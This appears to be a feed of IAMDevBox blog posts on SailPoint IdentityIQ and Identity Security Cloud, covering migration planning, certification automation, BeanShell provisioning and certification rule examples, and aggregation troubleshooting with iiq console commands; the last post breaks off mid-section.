DEV Community: IAMDevBox

SailPoint IdentityIQ vs IdentityNow (ISC): Migration Guide for 2026

IAMDevBox — Wed, 23 Sep 2026 00:07:23 +0000

migrati-ce3a48ae.webp
alt: "SailPoint IdentityIQ vs IdentityNow (ISC): Migration Guide for 2026"

relative: false

Search "identityiq vs identitynow" today and most of what comes back is already out of date twice over. SailPoint renamed IdentityNow to Identity Security Cloud (ISC) in March 2024, and then renamed ISC itself to SailPoint Human Fabric (SHF) at Black Hat USA in August 2026 — same SaaS platform, third name in a little over two years. IdentityIQ, the on-premises product, kept its name throughout. If you're deciding whether to migrate an existing IIQ deployment, or scoping a new implementation and choosing between the two, the naming churn is the least of your problems — the real differences are architectural, and they hit hardest in exactly the area this site's SailPoint series has covered in depth: BeanShell rule customization.

This guide covers what actually changes in an IdentityIQ-to-cloud migration, what doesn't have a direct migration path, and how to decide which platform a new deployment should start on.

One Platform, Three Names

For clarity going forward: IdentityNow, Identity Security Cloud, and SailPoint Human Fabric are the same underlying multi-tenant SaaS product at three points in its branding history. The core governance capabilities — identity profiles, access certifications, provisioning workflows, lifecycle states — carried forward through both renames without a rebuild. Human Fabric layers real-time governance and deeper identity-graph capabilities on top of the ISC foundation, and ships alongside a separate but related product, Agentic Fabric, for governing AI agent and non-human identities specifically.

Practically, this means:

Job postings, RFPs, and older documentation referencing "IdentityNow" are describing the same product family you'd deploy today as Human Fabric.
SailPoint's developer documentation and API endpoints largely still use identitynow and isc in URLs and package names — the rebrand is a product/marketing name change, not (yet) a wholesale API rename.
This guide uses "IdentityNow/ISC" interchangeably with "Human Fabric" since that's still the dominant search term, but treat them as the current product when you see either.

IdentityIQ, by contrast, is the on-premises (or self-managed IaaS) Java application most of this site's SailPoint content is written against — deployed as a WAR file, configured through iiq console and BeanShell rules, backed by a database schema you control directly (spt_identity, spt_certification_item, and the rest of the spt_ tables covered in our aggregation troubleshooting guide).

Architectural Differences That Actually Matter

	IdentityIQ	IdentityNow / ISC / Human Fabric
Deployment	Self-hosted WAR (on-prem or IaaS)	Multi-tenant SaaS
Infrastructure ownership	You patch, scale, back up the database	SailPoint operates it
Customization	Unrestricted BeanShell (~200 rule types)	Sandboxed Cloud Rules (fewer than 20 types) + Transforms
Connector execution	In-process Java connectors, direct DB/LDAP access	Virtual Appliance (VA) or SaaS-native connectors
Console/admin access	`iiq console`, direct database queries	Admin UI + REST API + `sp-config` for object export/import
Upgrade model	You schedule and run version upgrades	Continuous, SailPoint-managed releases

The deployment-model row gets the most attention in vendor marketing, but for a team migrating an existing IIQ deployment, the customization row is where the actual engineering work lives.

Why BeanShell Rules Are the Hardest Migration Problem

IdentityIQ's extensibility model is deliberately unrestricted: a BeanShell rule can import any Java class on the classpath, open a JDBC connection to an external system, call context.saveObject() to commit changes directly, and generally do anything a first-class Java method could do. That's exactly why our BeanShell Rule Cookbook and certification automation guide can show working exclusion rules, pre-delegation rules, and provisioning logic that reach into arbitrary application state.

ISC/Human Fabric does not run BeanShell. Cloud Rules are JavaScript-based, sandboxed, and time-boxed — SailPoint's own developer documentation describes them as able to read the ISC data model but explicitly unable to commit transactions or save objects, which rules out the "rule quietly writes back to another object" pattern that shows up in several IIQ provisioning rules. There are fewer than 20 Cloud Rule types total, against roughly 200 rule types in IIQ.

The practical consequence for a migration:

Identity attribute calculation logic (formatted IDs, computed manager chains, string transforms) mostly maps to a Transform — a declarative JSON object, not code. Transforms handle concatenation, date math, conditional branching, and lookup tables without executing arbitrary logic.
Rules with genuine procedural logic that don't fit a Transform's declarative model become a Cloud Rule, rewritten in JavaScript within the sandbox's constraints.
Rules that call custom Java classes, open direct database connections, or write to application state outside IdentityIQ's own objects generally have no direct ISC equivalent. That logic has to move to the connector layer (a custom SaaS connector, or logic inside a JDBC/Web Services source configuration) or be redesigned around ISC's supported extension points entirely.

If your IIQ deployment leans heavily on category 3 — and after years of BeanShell customization, most mature deployments do somewhere — that's the work that actually determines your migration timeline, not the data migration itself.

Connector and Source Migration

For connectors SailPoint has published a supported path for, there's a VA-to-SaaS source migration tool that converts a Virtual-Appliance-based source to a native SaaS source connection without re-onboarding the application from zero: existing accounts, entitlements, access profiles, roles, password policy settings, and correlation configuration on the source carry over. It requires Admin or Source Admin user level in ISC to run.

That path only exists where SailPoint has built and published it for a specific connector. Two categories fall outside it:

Custom IIQ connectors extending sailpoint.connector.Connector (the on-prem SPI) have no automated migration — they need to be rebuilt against ISC's SaaS connector framework, which is a different extension model entirely, not a recompile.
Connectors without a published SaaS equivalent yet — check the specific connector's documentation page for a "Source Migration" section before planning around it; don't assume support exists because a similar connector has it.

Object Migration with sp-config

For configuration objects that do have an ISC equivalent — approved Cloud Rules, Transforms, provisioning policies — the sp-config API and CLI support exporting objects from a sandbox tenant and importing them into production once they've passed SailPoint's rule review process for cloud-executed rules. This is the mechanism for promoting tested Cloud Rules and Transforms between tenants; it is not a bulk IIQ-object-to-ISC-object converter. BeanShell <Rule> XML from an IIQ export does not import into ISC as a Cloud Rule — it has to be rewritten first using the mapping above, then the rewritten object goes through sp-config for promotion between ISC environments.

Realistic Migration Timeline

Vendor case studies and migration-framework write-ups consistently describe IIQ implementations running 12-18 months on their own, with an ISC/Human Fabric migration adding a further multi-quarter program on top rather than replacing that timeline. The variables that move the estimate most:

Rule inventory size and category — how many of your BeanShell rules fall into the "no direct equivalent" bucket above.
Custom connector count — each one without a published SaaS migration path is effectively a connector rebuild project.
Data volume and identity attribute complexity — larger, more customized identity cubes take longer to validate post-migration.
Whether you run IIQ and ISC in parallel during cutover (recommended for anything beyond a small deployment) versus a hard cutover, which adds coordination overhead but substantially reduces risk.

Should a New Deployment Start on IdentityIQ or ISC/Human Fabric?

For the majority of new SailPoint deployments in 2026, start on ISC/Human Fabric. SailPoint has been explicit that ongoing platform investment — AI-driven access recommendations, predictive access modeling, identity graph relationship mapping, and non-human/agentic identity governance through the companion Agentic Fabric product — is concentrated on the cloud platform, while IdentityIQ continues to receive support and security patches without the same pace of net-new capability.

IdentityIQ still makes sense as the starting point when:

Data residency or air-gap requirements mandate on-premises deployment with no SaaS option.
Deep custom Java connector or BeanShell logic is a hard requirement from day one, and there's no appetite to design around ISC's sandboxed extension model from the start.
Regulatory or contractual constraints specifically require self-managed infrastructure for identity data.

Outside those cases, starting on IIQ in 2026 mainly defers the ISC migration project rather than avoiding it — which is worth weighing against the multi-quarter migration cost described above if cloud is the eventual destination anyway.

Automating SailPoint IdentityIQ Certification Campaigns

IAMDevBox — Fri, 18 Sep 2026 00:37:54 +0000

Most SailPoint IdentityIQ teams automate certification campaigns the wrong way first: they go looking for an iiq console command or a script to launch a campaign programmatically, the way you might script an aggregation task. That path doesn't exist — the console explicitly has no certification-scheduling functionality, and its default 128 MB heap can't hold the objects a real campaign generates even if it did. IdentityIQ automates certifications through two mechanisms built for the purpose instead: recurring schedules baked into the certification definition, and event-driven campaigns that fire off an identity change rather than a clock. This guide covers both, plus the BeanShell rules that keep an automated campaign from burying reviewers in noise.

If you haven't built a BeanShell rule for IdentityIQ before, start with our BeanShell Rules, Workflows, and Tasks guide and the Certification Exclusion Rule walkthrough in our rule cookbook — this article builds directly on the exclusion rule pattern covered there.

Recurring Certifications: Automation Through the Schedule, Not a Script

The Schedule Certification wizard's Basic page is where most certification automation actually lives, and it's easy to underuse. Every non-targeted certification type — Manager, Application Owner, Entitlement Owner, Advanced, Account Group Membership, Account Group Permissions, Role Membership, Role Composition, and Identity — supports a recurrence frequency (daily, weekly, monthly, quarterly, or annual) directly on that page. Once configured, IdentityIQ launches the next campaign in the series on schedule with no further action, using the same certifier assignment logic, rules, and notification templates as the campaign before it.

Two settings on that same page matter more for automation than they get credit for:

Staged activation. Setting Activation Method to Staged means the certification generates its CertificationEntity and CertificationItem objects but does not notify certifiers or start the clock on any phase. This is the safe way to let a recurring campaign generate automatically while still reviewing what it produced before reviewers see it — useful in the first few cycles after standing up a new recurring campaign, or any time you've changed an exclusion or pre-delegation rule attached to it.
"Use Certification as a Template." Right-clicking an existing certification and selecting this option copies its full configuration — rules, notification settings, recurrence — into a new definition. For teams standardizing a recurring campaign across multiple business units, this is faster and less error-prone than rebuilding the Advanced Settings rule attachments from scratch each time.

Certification Events: Automation Triggered by Identity Changes

Recurring schedules cover the calendar-driven case — quarterly access reviews, annual recertification. They don't cover the case where access needs review because something changed, and waiting for the next scheduled cycle leaves a window where stale access sits unreviewed. Certification Events close that gap by launching a certification automatically when a specific condition is detected during an identity refresh cycle, rather than on a schedule:

Event Type	Fires When
Create	A new identity is discovered in IdentityIQ
Manager Transfer	An identity's manager attribute changes
Attribute Change	A configured identity attribute is modified
Native Change	A change is detected directly on a native application account
Alert	An enterprise alert condition is triggered
Rule	Custom BeanShell logic determines when the event fires

Manager Transfer is the one most deployments configure first, and for a specific reason: when a manager reassignment happens outside a scheduled campaign window, the identity's access can go unreviewed by anyone with real context on it until the next periodic certification runs — which might be months away. A Manager Transfer event instead generates a targeted access review for the new manager as soon as the transfer is detected on the next refresh, so the person who actually knows the role reviews the access close to when the change happened, not on a quarterly delay.

The Rule event type is the escape hatch for anything the five built-in triggers don't cover — a custom BeanShell rule evaluates during the refresh cycle and returns whether the event should fire for a given identity, giving you the same flexibility as a scheduled campaign's Advanced Settings rules, but on an event-driven cadence instead of a fixed one.

Tuning an Automated Campaign With Exclusion and Pre-Delegation Rules

An automated campaign that runs unattended needs tighter guardrails than one a human schedules manually, because there's no one glancing at the certifier list or entity count before it goes out. Two rule types, both configured under Certifications → Certification Schedule → Advanced Settings, do most of that work:

Exclusion rules remove specific certifiable items before the reviewer ever sees them — disabled accounts, or entitlements already justified through an assigned role. The full working example, including the instanceof guard you need because certifiableEntities mixes EntitlementCertifiable, BundleCertifiable, and PolicyViolationCertifiable objects, is in the rule cookbook's Exclusion Rule section. For an automated, recurring or event-driven campaign, this rule matters more than it does for a one-off manual certification — a manager who gets the same noisy 40-item review every quarter without it starts rubber-stamping the whole thing, which defeats the point of certifying at all.

Pre-delegation rules route specific access reviews to someone other than the identity's default certifier — for example, sending every entitlement on a high-risk financial application to a dedicated application-security reviewer instead of the identity's line manager, regardless of who that manager happens to be this quarter. This is the rule type that makes automated campaigns viable for sensitive applications: without it, an unattended Manager Transfer event could route a privileged entitlement review to a brand-new manager who has no basis to evaluate it.

<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE Rule PUBLIC "sailpoint.dtd" "sailpoint.dtd">
<Rule language="beanshell" name="Delegate Financial App Entitlements to AppSec" type="CertificationPreDelegation">
  <Description>
    Routes certifiable entitlements on the "GL-Finance" application to a dedicated
    application-security reviewer instead of the identity's manager, regardless
    of certification type or trigger (scheduled or event-driven).
  </Description>
  <Signature returnType="java.lang.String">
    <Inputs>
      <Argument name="context" type="sailpoint.api.SailPointContext"/>
      <Argument name="identity" type="sailpoint.object.Identity"/>
      <Argument name="certifiable" type="sailpoint.object.Certifiable"/>
    </Inputs>
  </Signature>
  <Source><![CDATA[
    import sailpoint.object.EntitlementCertifiable;
    import sailpoint.object.EntitlementSnapshot;

    if (!(certifiable instanceof EntitlementCertifiable)) {
        return null;
    }

    EntitlementCertifiable ec = (EntitlementCertifiable) certifiable;
    EntitlementSnapshot snap = ec.getEntitlements();

    if (snap != null && "GL-Finance".equals(snap.getApplicationName())) {
        return "appsec.reviewer";
    }

    return null;
  ]]></Source>
</Rule>

Returning null leaves the certifier assignment untouched — the rule only overrides the specific items it matches, which is what lets it run safely across every certification type and trigger without needing a separate rule per campaign.

Validating Before an Automated Campaign Goes Live

The failure mode that matters most for automated campaigns is the quiet one: an exclusion rule that over-excludes, or a pre-delegation rule with a typo in the target identity name, produces a certification that looks complete in the UI with no error and no warning. Nobody scheduled it manually, so nobody is watching for it to look wrong.

Before attaching a new or changed rule to a recurring schedule or a Certification Event:

Run once as Staged. Generate the campaign without activating it, and inspect the CertificationEntity and CertificationItem counts.
Diff against a version without the rule. Generate the same campaign scope with the rule detached and compare counts — a large, unexplained drop is the signature of an over-broad exclusion.
Log every match inside the rule, not just a final count. A rule that excludes or delegates zero items is frequently the same underlying bug as one that excludes everything: a null check or comparison that always short-circuits. The log is what tells you which failure mode you're looking at, because the campaign output alone can't.

Once a staged run confirms the rule behaves as expected, flip Activation Method back to whatever the live campaign needs (Automatic or Manual) and let the recurrence or event trigger take over from there.

Clone the companion repo: Working exclusion and pre-delegation rule templates, plus the staged-certification diff script referenced above, are in IAMDevBox/sailpoint-iiq-rule-cookbook — the same repo backing our BeanShell Rule Cookbook article. Note the diff script counts certification items, which confirms a pre-delegation rule didn't change what's certified — it doesn't confirm who the reviewer changed to, so still spot-check a few reassigned entities in the UI before activating.

SailPoint IdentityIQ BeanShell Rule Cookbook: Provisioning and Certification Rules

IAMDevBox — Wed, 16 Sep 2026 01:06:26 +0000

Most SailPoint IdentityIQ rule tutorials stop at the three rule types you write in your first month: BuildMap, Correlation, and IdentityAttribute. Our own BeanShell Rules, Workflows, and Tasks guide covers those in depth, plus the companion repo with working templates for all four. This cookbook picks up where that guide leaves off, with two rule types that show up later in a real deployment and have far fewer working examples floating around: Provisioning rules, which reshape what actually gets sent to a target system, and Certification rules, which control what a reviewer sees during an access review.

Clone the companion repo: Working XML templates for every rule type in this article are at IAMDevBox/sailpoint-iiq-rule-cookbook.

Before and After Provisioning Rules

Every provisioning operation in IdentityIQ — a role assignment, an entitlement request, a disable — becomes a ProvisioningPlan object that IdentityIQ hands to a connector's provision() method. Before and After Provisioning rules are your two hooks into that hand-off, and they are configured per-application on the Rules tab of the Edit Application page, not globally.

Before Provisioning: Reshaping the Plan

A Before Provisioning rule runs immediately before provision() is called. It receives four arguments and returns nothing — you mutate the plan object directly:

Argument	Type	Purpose
`log`	`org.apache.log4j.Logger`	Logger scoped to the rule
`context`	`sailpoint.api.SailPointContext`	Database access if you need to look something up
`plan`	`sailpoint.object.ProvisioningPlan`	The plan about to be sent to the connector
`application`	`sailpoint.object.Application`	The application this plan targets

The canonical use case is a connector or target system that does not support an operation IdentityIQ wants to perform. Directory-style systems are the most common offender: many do not support a true "disable," so the standard fix is converting Disable/Enable operations into a Modify that flips a status attribute instead:

<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE Rule PUBLIC "sailpoint.dtd" "sailpoint.dtd">
<Rule language="beanshell" name="Convert Disable to Status Flag" type="BeforeProvisioning">
  <Description>
    Some target systems have no native disable operation. Convert Disable/Enable
    account requests into a Modify that sets an ACCOUNT_STATUS attribute instead,
    so provisioning does not fail with an UnsupportedOperationException.
  </Description>
  <Signature returnType="void">
    <Inputs>
      <Argument name="log" type="org.apache.log4j.Logger"/>
      <Argument name="context" type="sailpoint.api.SailPointContext"/>
      <Argument name="plan" type="sailpoint.object.ProvisioningPlan"/>
      <Argument name="application" type="sailpoint.object.Application"/>
    </Inputs>
  </Signature>
  <Source><![CDATA[
    import sailpoint.object.ProvisioningPlan;
    import sailpoint.object.ProvisioningPlan.AccountRequest;
    import sailpoint.object.ProvisioningPlan.AttributeRequest;
    import sailpoint.object.ProvisioningPlan.ObjectOperation;
    import java.util.List;

    List requests = plan.getAccountRequests();
    if (requests == null) {
        return;
    }

    for (int i = 0; i < requests.size(); i++) {
        AccountRequest req = (AccountRequest) requests.get(i);

        if (req.getOp() == ObjectOperation.Disable) {
            log.debug("Converting Disable to status-flag Modify for " + req.getNativeIdentity());
            req.setOp(ObjectOperation.Modify);
            req.add(new AttributeRequest("ACCOUNT_STATUS", ProvisioningPlan.Operation.Set, "0"));
        } else if (req.getOp() == ObjectOperation.Enable) {
            req.setOp(ObjectOperation.Modify);
            req.add(new AttributeRequest("ACCOUNT_STATUS", ProvisioningPlan.Operation.Set, "1"));
        }
    }
  ]]></Source>
</Rule>

Two details that cost people real debugging time:

This rule mutates in place. There is no return value to wire up — <Signature returnType="void"> is correct, and IdentityIQ uses whatever state plan is in when the rule finishes, not anything you return.
Attach it per application. Before/After Provisioning rules are set on the Edit Application page's Rules tab, one application at a time. If several applications need the same conversion logic, either attach the rule to each one or branch inside the rule on application.getName().

After Provisioning: Reacting to the Result

An After Provisioning rule runs once provision() returns — but only when the ProvisioningResult status is Committed or Queued, so a rejected or failed request does not trigger it. It receives everything the Before rule does, plus result:

Argument name="result" type="sailpoint.object.ProvisioningResult"

The most common use is notification: telling a user their account was created, or alerting an owner when a privileged entitlement is granted. Because failures never reach an After Provisioning rule, error notifications need a separate mechanism — typically a workflow-level failure handler, not this rule type.

<Rule language="beanshell" name="Notify Manager on Privileged Grant" type="AfterProvisioning">
  <Signature returnType="void">
    <Inputs>
      <Argument name="log" type="org.apache.log4j.Logger"/>
      <Argument name="context" type="sailpoint.api.SailPointContext"/>
      <Argument name="plan" type="sailpoint.object.ProvisioningPlan"/>
      <Argument name="application" type="sailpoint.object.Application"/>
      <Argument name="result" type="sailpoint.object.ProvisioningResult"/>
    </Inputs>
  </Signature>
  <Source><![CDATA[
    import sailpoint.object.Identity;
    import sailpoint.object.EmailTemplate;
    import sailpoint.object.EmailOptions;
    import java.util.HashMap;

    if (result == null || !result.isCommitted()) {
        return;
    }

    String identityName = plan.getIdentity();
    if (identityName == null) {
        return;
    }

    Identity identity = context.getObjectByName(Identity.class, identityName);
    if (identity == null) {
        return;
    }

    Identity manager = identity.getManager();
    if (manager == null || manager.getEmail() == null) {
        return;
    }

    EmailTemplate template = context.getObjectByName(EmailTemplate.class, "Privileged Grant Notification");
    if (template == null) {
        log.warn("Privileged Grant Notification email template not found");
        return;
    }

    HashMap vars = new HashMap();
    vars.put("identityName", identity.getDisplayableName());
    vars.put("applicationName", application.getName());

    EmailOptions options = new EmailOptions(manager.getEmail(), vars);
    context.sendEmailNotification(template, options);
  ]]></Source>
</Rule>

result.isCommitted() is the guard that matters most here — skipping it means the rule fires on partial or queued results where the target system has not actually confirmed the change yet.

Certification Exclusion Rules

Certification campaigns get noisy fast: a manager reviewing forty direct reports does not need to re-approve entitlements a role already justifies, or accounts that were disabled the day the campaign launched. An Exclusion Rule, configured under Certifications → Certification Schedule → Advanced Settings, filters those items out before the reviewer ever sees them.

An exclusion rule receives the identity under review and the list of certifiable items being considered for that identity, and returns the subset that should be removed:

<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE Rule PUBLIC "sailpoint.dtd" "sailpoint.dtd">
<Rule language="beanshell" name="Exclude Disabled Accounts and Role-Justified Entitlements" type="CertificationExclusion">
  <Description>
    Removes certifiable items for accounts that are currently disabled, and
    entitlements that are already granted indirectly through an assigned role
    (they get reviewed as part of the role certification instead).
  </Description>
  <Signature returnType="java.util.List">
    <Inputs>
      <Argument name="context" type="sailpoint.api.SailPointContext"/>
      <Argument name="identity" type="sailpoint.object.Identity"/>
      <Argument name="certifiableEntities" type="java.util.List"/>
    </Inputs>
  </Signature>
  <Source><![CDATA[
    import sailpoint.object.AbstractCertifiableEntity;
    import sailpoint.object.Certifiable;
    import sailpoint.object.EntitlementCertifiable;
    import sailpoint.object.EntitlementSnapshot;
    import java.util.ArrayList;
    import java.util.List;

    List excluded = new ArrayList();

    if (certifiableEntities == null) {
        return excluded;
    }

    for (int i = 0; i < certifiableEntities.size(); i++) {
        Object entry = certifiableEntities.get(i);

        // Only EntitlementCertifiable items carry role/link detail we can inspect;
        // other Certifiable subtypes (e.g. BundleCertifiable) pass through untouched.
        if (!(entry instanceof EntitlementCertifiable)) {
            continue;
        }

        EntitlementCertifiable ec = (EntitlementCertifiable) entry;
        EntitlementSnapshot snap = ec.getEntitlements();

        if (snap == null) {
            continue;
        }

        // Skip entitlements already covered by an assigned business role —
        // they get reviewed once, at the role level, not once per entitlement.
        if (snap.getApplication() != null && identity.getAssignedRoles() != null) {
            boolean coveredByRole = false;
            for (int r = 0; r < identity.getAssignedRoles().size(); r++) {
                if (identity.getAssignedRoles().get(r).getName().equals(snap.getSourceRole())) {
                    coveredByRole = true;
                    break;
                }
            }
            if (coveredByRole) {
                excluded.add(entry);
            }
        }
    }

    return excluded;
  ]]></Source>
</Rule>

Two things worth knowing before writing your own:

Return only what to remove, never rebuild the full list. The rule contract is subtractive — it returns items to drop, not the surviving set. Returning null or an empty list means nothing gets excluded.
certifiableEntities mixes types. Depending on the certification type (manager, application-owner, role, entitlement-owner), the list can contain EntitlementCertifiable, BundleCertifiable, or PolicyViolationCertifiable objects. Guard with instanceof before casting, exactly as the example does — a blind cast on the wrong subtype throws a ClassCastException that aborts certification generation for the entire campaign, not just one identity.

Staging an Exclusion Rule Before It Runs Against a Live Campaign

An exclusion rule fails quietly in the worst way: if it over-excludes, reviewers simply never see the missing items, and nothing in the UI tells them something was filtered. There is no error, no warning banner — just an access review that looks complete but was not. Two habits keep this from reaching production:

Run the campaign as a "Staged" certification first. Staged certifications generate the certification objects without activating them or notifying reviewers, so you can inspect CertificationEntity and CertificationItem counts against a version of the same campaign generated without the exclusion rule attached, and diff the two.
Log every exclusion, not just the final count. Add a log.info line inside the loop before adding to excluded, including the entitlement or account identifier. A campaign that unexpectedly excludes zero items is often the same bug as one that excludes everything — usually a null check that always short-circuits — and the log is the only way to tell which failure mode you are looking at without re-running the whole campaign generation.

Finding the Argument List for Any Other Rule Type

IdentityIQ ships more than 70 rule types, and this cookbook plus the BeanShell Rules, Workflows, and Tasks guide only cover the ones developers hit most often. For anything else — Refresh rules, Populate rules on forms, Managed Attribute customization — the fastest path is still IdentityIQ_HOME/WEB-INF/config/examplerules.xml on your own instance. It contains a working example of every type with the real, current argument list for your installed version, which matters because argument sets do change between major releases. Cross-check anything you find against the <Signature> block, not just the <Source> body — the signature is what tells you which arguments are guaranteed non-null.

Once you have a rule drafted, the iiq console lets you import and test it without a UI round-trip:

> import /path/to/my-rule.xml
> rule "Convert Disable to Status Flag" {plan=..., application=...}

Building the test arguments interactively is easier from the BeanShell console than the iiq console rule command for anything beyond a trivial signature — see the Debugging Rules section of the BeanShell guide for the full workflow, including log4j2 debug logging that does not require an application server restart.

For the operational side of running these rules in production — diagnosing why an aggregation using a BuildMap or Correlation rule stalled — see SailPoint IdentityIQ Aggregation Troubleshooting, and for the underlying Java/MySQL/shell tooling this whole series builds on, Java, MySQL, and Shell Scripting for SailPoint IdentityIQ.

SailPoint IdentityIQ Aggregation Troubleshooting: Complete Error Guide

IAMDevBox — Thu, 03 Sep 2026 23:47:59 +0000

da0105f6.webp
alt: "SailPoint IdentityIQ Aggregation Troubleshooting: Complete Error Guide"

relative: false

Account Aggregation is the task type every SailPoint IdentityIQ deployment runs the most and debugs the least confidently, because a failure can originate in three different layers — the source system, the connector, or IdentityIQ's own correlation logic — and the TaskResult error message rarely tells you which one. This guide walks through the failure modes in the order you should actually check them, with the exact iiq console commands to isolate the cause.

If you're new to IdentityIQ's rule and workflow model, start with our BeanShell Rules, Workflows, and Tasks guide — Correlation Rules and provisioning rules both come up repeatedly below. For the database and scripting side of diagnosing a stuck task from outside the UI, see Java, MySQL, and Shell Scripting for IdentityIQ.

Clone the companion repo: The diagnostic iiq console command sequences, the read-only spt_ health-check queries, and the correlation-rule debug template covered below are all in IAMDevBox/sailpoint-iiq-devtools.

How Account Aggregation Actually Works

Before debugging a failure, it helps to know what the task is doing under the hood. Account Aggregation scans a configured Application, calls the connector to iterate every account (and optionally every group) on that source, and for each account either:

Matches it to an existing Link and updates that Link's attributes if anything changed
Runs the Correlation Rule to try to match the account to an existing Identity and creates a new Link
Creates a brand-new Identity cube, if "Create new identity" processing is enabled
Marks the account for one of eight TaskResult actions: Correlate Manual, Maintain, New Account, Reassign, Create New Identity, Ignore, or Remove Account

Each of those actions gets logged per-account in the TaskResult, which is why the first place to look after any aggregation failure is the TaskResult detail screen, not the application server log. The task-level error ("Aggregation failed") is a summary; the per-account errors underneath it are the actual diagnosis.

Failure Mode 1: Connector Exceptions

The most common failure is a ConnectorException thrown while IdentityIQ is trying to iterate accounts or groups from the source. This is a source-system problem, not an IdentityIQ problem, and the fix lives outside IdentityIQ almost every time:

Connector Type	Common Root Cause
LDAP / Active Directory	Bind DN credentials expired or account locked out; search base DN typo; paging cookie exhausted on very large OUs
JDBC / Database	Connection pool exhausted (too many concurrent aggregations against the same source); driver JAR missing after an IdentityIQ upgrade; SQL query in the schema map referencing a column that was renamed
Delimited File	File not present at the configured path at scheduled run time (a nightly export job that hasn't finished yet); encoding mismatch producing malformed rows
Web Services / REST	API rate limiting mid-aggregation on large account populations; OAuth token expired mid-run on a long aggregation with no refresh logic in the connector config

Isolate the connector as the cause before touching anything inside IdentityIQ. From the iiq console:

connectorDebug "Corporate Active Directory" test

This runs the connector's own connection-test method — the same one the "Test Connection" button in the Application configuration UI calls — without running a full aggregation. If test fails, you have your answer immediately and can stop looking at IdentityIQ configuration entirely. If test passes but the full aggregation still fails, move to iterate:

connectorDebug "Corporate Active Directory" iterate

iterate walks the account list the same way aggregation does, which will surface a failure on a specific malformed record (a group membership DN that no longer resolves, an account with a null value in a required schema attribute) that a simple connection test won't catch.

Failure Mode 2: Correlation Failures

If the connector is healthy and accounts are coming through, the next most common failure is correlation: the account exists, IdentityIQ read it successfully, but it can't be attached to an Identity.

"Unable to correlate account to identity" happens when the Correlation Rule for the Application evaluates to no match. Two root causes account for nearly all of these:

Attribute format mismatch. The most frequent case is an employeeId or similar join key that's formatted differently between the authoritative HR source and the target application — leading zeros stripped, a prefix added, case sensitivity in a string comparison. Check the actual attribute values on both sides, not just the rule logic.
Aggregation ordering. If this is a new application and the accounts belong to people who don't have Identity cubes yet, correlation will fail on every account because there's nothing to correlate against. Authoritative sources (typically HR/HRIS) must aggregate first to create the Identity cubes; downstream application aggregations correlate against those cubes afterward.

If accounts are correlating to the wrong identity rather than failing outright, that's a Correlation Rule precision problem, not a failure — but it's worth checking the rule's match logic for anything doing a broad LIKE or a first-name/last-name match without a unique secondary key, since those produce false-positive correlations that are far more damaging than an aggregation that simply stops.

Failure Mode 3: Terminated and Orphaned Tasks

A task that shows Terminated rather than an error usually means one of two things:

Someone (or a scheduled job overlap) explicitly stopped it — check for a terminate <TaskResultName> call in the audit log or scheduler history.
The "Terminate when maximum number of errors is exceeded" threshold was hit. This is a deliberate circuit breaker: rather than aggregating 50,000 accounts and burying one root cause under 4,000 nearly-identical connector errors, IdentityIQ stops after the configured "Maximum errors before termination" count. Read the accumulated errors in the TaskResult before raising the threshold — in the overwhelming majority of cases, all of them trace back to the same upstream problem from Failure Mode 1.

Orphaned task results are a different, purely operational problem: an application server restart, forced shutdown, or crash during a running aggregation leaves the TaskResult stuck in a non-terminal state, even though nothing is actually still running. IdentityIQ won't let you cleanly restart a task while its previous TaskResult still looks "in progress." Clear it from the iiq console:

terminateOrphans please

The please argument isn't decorative — this command force-completes every pending TaskResult it finds as Terminated, so it's built to resist being run accidentally. Only run it when you've confirmed (via the app server process list, not just the UI) that nothing is actually executing.

Once the orphaned result is cleared, restart the task itself:

restart <TaskResultName>

Failure Mode 4: Hung Tasks

A task that neither completes nor errors — it just sits at "running" indefinitely — is the hardest of the four to diagnose because there's no error message to read. Work through it in this order:

Confirm it's actually hung, not just slow. Large LDAP OUs and JDBC sources with millions of rows can legitimately take hours. Check the account-processed counter in the TaskResult; if it's climbing, even slowly, it isn't hung.
Rule out a connector-level block. Run connectorDebug <applicationName> test in a separate console session while the task is still running. If the test hangs too, the source system itself is unresponsive — a TCP-level connection that was accepted but is never answering (common with an LDAP server behind a load balancer with a stale health check), not an IdentityIQ problem.
For partitioned aggregations, one partition thread can silently die while others continue, making the overall task look alive but permanently incomplete. Use:

sendCommand <TaskResultName> stack

This dumps a thread stack trace for the running task into the server log, letting you see exactly which method each partition thread is blocked in — a JDBC Statement.executeQuery call with no timeout is the single most common culprit here.

If a partition or the whole task is confirmed dead with no way to recover it cleanly, terminate <TaskResultName> stops it, then follow the orphaned-task cleanup above before rerunning.

Reading the TaskResult Systematically

When triaging an aggregation failure, pull the TaskResult in this order rather than scrolling the raw log top to bottom:

Summary counts — accounts scanned vs. accounts with errors vs. accounts correlated. A 2% error rate against one connector points to bad data on specific records; a 100% error rate from the first account onward points to a connection or credential problem.
The first error, not the last. Cascading failures (a connection pool exhausted by account 40 will throw the same exception for every subsequent account) mean the last error in a long list is rarely the root cause — it's a symptom of the first one.
Per-account action distribution — a spike in "Create New Identity" when you expected "Maintain" usually means a Correlation Rule regression, not an aggregation bug.

Verified Console Commands Reference

Every command below is confirmed against the official IdentityIQ Console documentation, not inferred from behavior:

Command	Purpose
`run <taskName> [trace] [profile] [sync]`	Runs a task with no arguments; `trace` prints console output, `profile` adds timing stats, `sync` runs in the foreground
`runTaskWithArguments <taskName> [arg1=val1,arg2=val2,...]`	Runs a task that requires arguments; always executes synchronously
`restart <TaskResultName>`	Relaunches a previously failed task, in background mode where possible
`terminate <TaskResultName>`	Stops a running background task; the result shows Cancelled
`terminateOrphans please`	Force-completes all pending/stuck TaskResults as Terminated
`sendCommand <TaskResultName> <command>`	Sends an out-of-band command (`terminate`, `reanimate`, `stack`, or connector-specific) to a running or crashed partitioned task
`connectorDebug <applicationName> test`	Runs the connector's connection test in isolation, without a full aggregation
`connectorDebug <applicationName> iterate`	Walks the account/group iterator the same way aggregation does, surfacing malformed-record errors
`tasks`	Lists Name, State, Next Execution, and Cron String for every scheduled task

Enabling Debug Logging for a Specific Aggregation

Rather than raising the global log level (which floods the log with unrelated noise), scope debug logging to the aggregation executor class in log4j2.properties under WEB-INF/classes/:

logger.aggregation.name = sailpoint.api.Aggregator
logger.aggregation.level = debug

IdentityIQ picks up log4j2.properties changes automatically within about a minute — no application server restart required. Remove or comment out the logger once you've captured what you need; aggregation debug logging at scale on a large source is verbose enough to fill a log partition on a multi-hour run.

Preventing Repeat Failures

Once you've fixed the immediate cause, two configuration changes reduce how often you have to do this again:

